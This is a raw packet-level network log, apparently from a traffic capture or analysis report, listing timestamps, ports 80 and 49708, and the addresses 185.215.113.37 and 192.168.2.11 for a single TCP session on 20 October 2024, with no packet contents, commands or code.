Oct 20, 2024 23:43:13.289972067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.290080070 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.291991949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.292005062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.292077065 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.292077065 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.293896914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.293909073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.293998003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.295903921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.295917034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.295927048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.295972109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.296020031 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.297466040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.297478914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.297545910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.299196005 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.299207926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.299418926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.300792933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.300803900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.300926924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.302381992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.302392960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.302403927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.302444935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.302536011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.304025888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.304035902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.304131031 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.305613041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.305624962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.305692911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.307188034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.307199001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.307370901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.308657885 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.308670998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.308723927 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.310126066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.310137987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.310148001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.310283899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.310283899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.311693907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.311706066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.311832905 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.312868118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.312880039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.312973022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.314174891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.314187050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.314248085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.315462112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.315474033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.315483093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.315651894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.315651894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.316838026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.316849947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.316937923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.318136930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.318203926 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.318675995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.318686962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.318788052 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.319982052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.319993973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.320117950 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.321192026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.321204901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.321213961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.321265936 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.321288109 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.322366953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.322379112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.322448969 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.322448969 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.323494911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.323507071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.323559999 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.324615002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.324625969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.324692011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.324692011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.325668097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.325679064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.325762033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.326778889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.326791048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.326803923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.327327967 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.327327967 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.327856064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.327871084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.328025103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.328876972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.328886986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.328954935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.329916954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.329927921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.330007076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.331104994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.331116915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.331129074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.331232071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.331232071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.332041025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.332053900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.332159996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.333034039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.333045959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.333128929 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.334055901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.334068060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.334140062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.334140062 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.334923029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.334934950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.335295916 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.335788965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.335800886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.335810900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.335865974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.335865974 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.336756945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.336769104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.336827993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.337589979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.337601900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.337641001 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.338485956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.338498116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.338547945 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.339329004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.339339972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.339349031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.339406013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.339479923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.340148926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.340161085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.340240955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.340240955 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.340979099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.341068029 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.341376066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.341388941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.341547966 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.342252970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.342266083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.342320919 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.343149900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.343162060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.343172073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.343202114 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.343223095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.343852043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.343864918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.343907118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.344722033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.344732046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.344788074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.345341921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.345352888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.345412970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.346113920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.346126080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.346211910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.346846104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.346858025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.346868992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.346936941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.346936941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.347573996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.347585917 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.347634077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.348299026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.348310947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.348319054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.348370075 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.348392963 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.349015951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.349028111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.349076033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.349111080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.350035906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.350048065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.350111008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.350111008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.350503922 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.350522041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.350537062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.350575924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.350621939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.351119995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.351131916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.351238012 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.351839066 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.351852894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.351954937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.351954937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.352675915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.352689981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.352699995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.352715015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.352817059 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.352817059 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.353677034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.353689909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.353704929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.353718996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.353743076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.353806019 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.355211973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.355230093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.355242014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.355282068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.355339050 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.355393887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.355407953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.355420113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.355496883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.355496883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.356496096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.356509924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.356515884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.356530905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.356556892 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.356605053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.357448101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.357460976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.357467890 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.357536077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.358175993 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.358198881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.358210087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.358223915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.358247995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.358247995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.358300924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.359131098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.359143972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.359155893 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.359213114 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.359213114 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.360016108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360028982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360040903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360053062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360089064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.360131979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.360850096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360863924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360877037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360889912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.360913992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.360956907 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.362375021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.362386942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.362396955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.362406015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.362492085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.362492085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.362761974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.362773895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.362783909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.362829924 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.366700888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366719961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366733074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366746902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366758108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366770983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366782904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366795063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366795063 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.366808891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.366877079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.366877079 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.367060900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.367113113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.367126942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.367136002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.367146969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.367188931 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.367188931 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.367188931 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.368561983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.368577003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.368587017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.368598938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.368608952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.368662119 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.368662119 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.368699074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.369122028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.369133949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.369143009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.369153976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.369165897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.369184971 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.369223118 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.370050907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.370062113 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.370075941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.370091915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.370244980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.370244980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.371071100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.371264935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.371278048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.371287107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.371300936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.371314049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.371324062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.371413946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.371413946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.372349977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.372363091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.372375011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.372386932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.372445107 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.372445107 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.373214006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.373224974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.373235941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.373246908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.373259068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.373323917 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.373339891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.374156952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.374169111 CEST	80	49708	185.215.113.37	192.168.2.11
